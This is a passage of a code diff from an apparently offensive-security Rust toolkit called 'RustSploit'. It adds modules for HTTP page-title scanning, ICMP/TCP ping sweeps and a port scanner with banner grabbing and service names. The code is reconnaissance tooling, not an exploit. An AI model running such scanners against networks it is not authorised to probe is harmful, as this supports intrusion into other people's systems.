io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(&format!("{}", message))?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for target in results {
lines.push(format!("Target: {}", target.target));
for method in &target.results {
if let Some(status) = method.status {
lines.push(format!(
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method,
error,
method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
+373
View File
@@ -0,0 +1,373 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use regex::Regex;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
let mut all_results = Vec::new();
for url in &normalized {
match fetch_title(&client, url, &title_re).await {
Ok(result) => {
if let Some(title) = &result.title {
println!("[+] {} -> {}" , url, title);
} else if let Some(status) = result.status {
println!("[+] {} -> <no title> (status: {})", url, status);
} else {
println!("[+] {} -> <no title>", url);
}
if verbose {
if let Some(status) = result.status {
println!(" Status: {}", status);
}
println!(" Duration: {} ms", result.duration_ms);
}
all_results.push(result);
}
Err(err) => {
println!("[-] {} -> error: {}", url, err);
all_results.push(TitleResult {
url: url.clone(),
status: None,
title: None,
error: Some(err.to_string()),
duration_ms: 0,
});
}
}
}
if save_output {
let default_name = format!(
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
struct TitleResult {
url: String,
status: Option<StatusCode>,
title: Option<String>,
error: Option<String>,
duration_ms: u128,
}
impl TitleResult {
fn display_title(&self) -> String {
match (&self.title, &self.error) {
(Some(title), _) => title.clone(),
(None, Some(err)) => format!("error: {}", err),
(None, None) => "<no title>".to_string(),
}
}
}
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
let start = std::time::Instant::now();
let response = client.get(url).send().await.context("Request failed")?;
let status = response.status();
let text = response.text().await.unwrap_or_default();
let title = title_re
.captures(&text)
.and_then(|cap| cap.get(1))
.map(|m| sanitize_title(m.as_str()));
let duration = start.elapsed().as_millis();
Ok(TitleResult {
url: url.to_string(),
status: Some(status),
title,
error: None,
duration_ms: duration,
})
}
fn sanitize_title(raw: &str) -> String {
raw
.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty())
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(200)
.collect()
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
if target.starts_with("http://") || target.starts_with("https://") {
if unique.insert(target.to_string()) {
normalized.push(target.to_string());
}
continue;
}
if check_https {
let https = format!("https://{}", target);
if unique.insert(https.clone()) {
normalized.push(https);
}
}
if check_http {
let http = format!("http://{}", target);
if unique.insert(http.clone()) {
normalized.push(http);
}
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for result in results {
let status_text = result
.status
.map(|s| s.as_u16().to_string())
.unwrap_or_else(|| "n/a".to_string());
lines.push(format!(
"{} | status: {:<5} | title: {}",
result.url,
status_text,
result.display_title()
));
if result.duration_ms > 0 {
lines.push(format!(" duration: {} ms", result.duration_ms));
}
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════╗
║ HTTP TITLE SCANNER (RustSploit) ║
║ Enumerate page titles over HTTP/HTTPS endpoints ║
╚══════════════════════════════════════════════════╝
"#
);
}
+4
View File
@@ -1,3 +1,7 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod http_method_scanner;
+606
View File
@@ -0,0 +1,606 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use ipnet::IpNet;
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
#[derive(Clone, Debug)]
struct PingConfig {
targets: Vec<IpNet>,
methods: Vec<PingMethod>,
concurrency: usize,
timeout_secs: u64,
verbose: bool,
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
}
impl PingMethod {
fn describe(&self) -> String {
match self {
PingMethod::Icmp => "ICMP".to_string(),
PingMethod::Tcp { ports } => {
if ports.len() == 1 {
format!("TCP/{}", ports[0])
} else {
format!(
"TCP [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
fn label(&self) -> &'static str {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
}
}
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
}
}
}
/// Main entry point triggered via the dispatcher
pub async fn run(initial_target: &str) -> Result<()> {
let config = gather_configuration(initial_target)?;
execute_ping_sweep(&config).await
}
fn parse_target(input: &str) -> Result<IpNet> {
if let Ok(net) = input.parse::<IpNet>() {
return Ok(net);
}
if let Ok(ip) = input.parse::<IpAddr>() {
let prefix = match ip {
IpAddr::V4(_) => 32,
IpAddr::V6(_) => 128,
};
let cidr = format!("{}/{}", ip, prefix);
let net = cidr
.parse::<IpNet>()
.context("failed to convert host to /32 or /128 network")?;
return Ok(net);
}
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
}
fn gather_configuration(initial: &str) -> Result<PingConfig> {
println!("{}", "=== Ping Sweep Configuration ===".bold());
let mut nets: Vec<IpNet> = Vec::new();
let initial_trimmed = initial.trim();
if !initial_trimmed.is_empty() {
match parse_target(initial_trimmed) {
Ok(net) => {
println!(
"{}",
format!("[*] Loaded initial target {}", net).green()
);
nets.push(net);
}
Err(e) => {
eprintln!(
"{}",
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
.yellow()
);
}
}
}
if prompt_yes_no("Add additional targets manually?", false)? {
loop {
let entry = prompt_line(
"Enter target (IP or CIDR, leave blank to stop): ",
true,
)?;
if entry.is_empty() {
break;
}
match parse_target(&entry) {
Ok(net) => {
println!("{}", format!(" + {}", net).cyan());
nets.push(net);
}
Err(e) => {
eprintln!("{}", format!(" ! {}", e).red());
}
}
}
}
if prompt_yes_no("Load targets from file?", false)? {
let path = prompt_line("Path to file: ", false)?;
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
}
}
if nets.is_empty() {
return Err(anyhow!(
"No valid targets supplied. Provide at least one IP or subnet."
));
}
// Deduplicate targets
let mut unique: HashSet<IpNet> = HashSet::new();
for net in nets {
unique.insert(net);
}
let targets: Vec<IpNet> = unique.into_iter().collect();
let timeout_secs =
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
let concurrency =
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
let methods = loop {
let mut methods = Vec::new();
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
methods.push(PingMethod::Icmp);
}
if prompt_yes_no("Use TCP connect probes?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Tcp { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
}
break methods;
};
println!(
"{}",
format!(
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
targets.len(),
methods_summary(&methods),
concurrency,
timeout_secs
)
.bold()
);
Ok(PingConfig {
targets,
methods,
concurrency,
timeout_secs,
verbose,
})
}
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut nets = Vec::new();
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
if content.is_empty() {
continue;
}
content = content.replace(',', " ");
for token in content.split_whitespace() {
match parse_target(token) {
Ok(net) => nets.push(net),
Err(e) => {
eprintln!(
"{}",
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
.yellow()
);
}
}
}
}
Ok(nets)
}
fn methods_summary(methods: &[PingMethod]) -> String {
methods
.iter()
.map(PingMethod::describe)
.collect::<Vec<_>>()
.join(", ")
}
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let mut host_set: HashSet<IpAddr> = HashSet::new();
for net in &config.targets {
for host in net.hosts() {
host_set.insert(host);
}
}
if host_set.is_empty() {
println!("{}", "No host addresses derived from supplied targets.".yellow());
return Ok(());
}
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
hosts.sort();
let total_hosts = hosts.len();
println!(
"{}",
format!(
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
total_hosts,
config.methods.len()
)
.bold()
);
let semaphore = Arc::new(Semaphore::new(config.concurrency));
let methods = Arc::new(config.methods.clone());
let timeout = Duration::from_secs(config.timeout_secs.max(1));
let verbose = config.verbose;
let success_counter = Arc::new(AtomicUsize::new(0));
let processed_counter = Arc::new(AtomicUsize::new(0));
let start_time = std::time::Instant::now();
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let processed_clone = processed_counter.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let ip_string = ip.to_string();
let mut successes = Vec::new();
for method in methods_clone.iter() {
match method.probe(&ip, timeout).await {
Ok(mut labels) => successes.append(&mut labels),
Err(err) => {
if verbose {
eprintln!(
"{}",
format!(
"[!] {} ({}) error: {}",
ip_string,
method.label(),
err
)
.yellow()
);
}
}
}
}
drop(permit);
let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
// Progress indicator every 100 hosts or at completion
if processed % 100 == 0 || processed == total_hosts {
let elapsed = start_time.elapsed().as_secs();
let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
print!(
"\r{}",
format!(
"[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
processed,
total_hosts,
(processed as f64 / total_hosts as f64) * 100.0,
success_clone.load(Ordering::Relaxed),
rate
)
.dimmed()
);
io::stdout().flush().ok();
}
if !successes.is_empty() {
success_clone.fetch_add(1, Ordering::Relaxed);
println!(
"\r{}",
format!(
"[+] Host {} is up ({})",
ip_string,
successes.join(", ")
)
.green()
);
} else if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}));
}
for task in tasks {
let _ = task.await;
}
// Clear progress line
print!("\r{}\r", " ".repeat(80));
io::stdout().flush().ok();
let up_hosts = success_counter.load(Ordering::Relaxed);
println!(
"{}",
format!(
"\n[*] Sweep complete: {}/{} hosts responded.",
up_hosts, total_hosts
)
.bold()
);
Ok(())
}
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
// Try to detect the OS and use appropriate ping command
let wait_secs = timeout.as_secs().max(1).to_string();
let ip_str = ip.to_string();
let (cmd, args_vec) = if ip.is_ipv4() {
// Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
if which::which("ping").is_ok() {
("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
} else {
// IPv6
if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping").is_ok() {
// Some systems use ping -6 for IPv6
("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
};
let result = tokio::time::timeout(
timeout,
Command::new(cmd)
.args(args_vec)
.output(),
)
.await;
match result {
Ok(Ok(output)) => {
if output.status.success() {
Ok(vec!["ICMP".to_string()])
} else {
Ok(Vec::new())
}
}
Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
Err(_) => Ok(Vec::new()),
}
}
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// Probe ports in parallel for better performance
let mut tasks = Vec::new();
for port in ports {
let ip = *ip;
let port = *port;
let timeout = timeout;
tasks.push(tokio::spawn(async move {
let socket = SocketAddr::new(ip, port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(_stream)) => {
// Connection successful - drop stream immediately
Some(format!("TCP/{}", port))
}
Ok(Err(_)) => None,
Err(_) => None,
}
}));
}
let mut successes = Vec::new();
for task in tasks {
if let Ok(Some(label)) = task.await {
successes.push(label);
}
}
Ok(successes)
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_string();
if !allow_empty && trimmed.is_empty() {
return Err(anyhow!("Input cannot be empty."));
}
Ok(trimmed)
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!(
"{}",
format!("{} [{}]: ", message, default).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!(
"{}",
format!("{} [{}]: ", message, default_hint).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(
message: &str,
default: usize,
min: Option<usize>,
max: Option<usize>,
) -> Result<usize> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<usize>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn prompt_u64(
message: &str,
default: u64,
min: Option<u64>,
max: Option<u64>,
) -> Result<u64> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<u64>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn parse_ports(input: &str) -> Result<Vec<u16>> {
let mut ports = Vec::new();
for token in input.replace(',', " ").split_whitespace() {
match token.parse::<u16>() {
Ok(port) => ports.push(port),
Err(_) => {
println!(
"{}",
format!(" Skipping invalid port '{}'", token).yellow()
);
}
}
}
ports.sort_unstable();
ports.dedup();
Ok(ports)
}
+470 -108
View File
@@ -1,17 +1,20 @@
use anyhow::Result;
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write},
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::Arc,
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[allow(dead_code)]
#[derive(Debug, Clone)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -19,23 +22,113 @@ pub struct ScanSettings {
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[allow(dead_code)]
/// Prompt user for scan configuration
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
})
}
#[allow(dead_code)]
/// Interactive entry point
/// Main entrypoint for interactive CLI mode
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
@@ -46,186 +139,455 @@ pub async fn run_interactive(target: &str) -> Result<()> {
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
/// Dispatch-compatible wrapper
#[allow(dead_code)]
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// Renamed internal function to avoid clash
/// === Core Scanner Logic ===
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
verbose: bool,
_verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let target = normalize_target(target)?;
let start_time = Instant::now();
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
writeln!(file, "Scan Results for {}\n", target)?;
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
writeln!(file, "{} | Banner: {}", line, banner).ok();
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tasks.push(handle);
tcp_tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
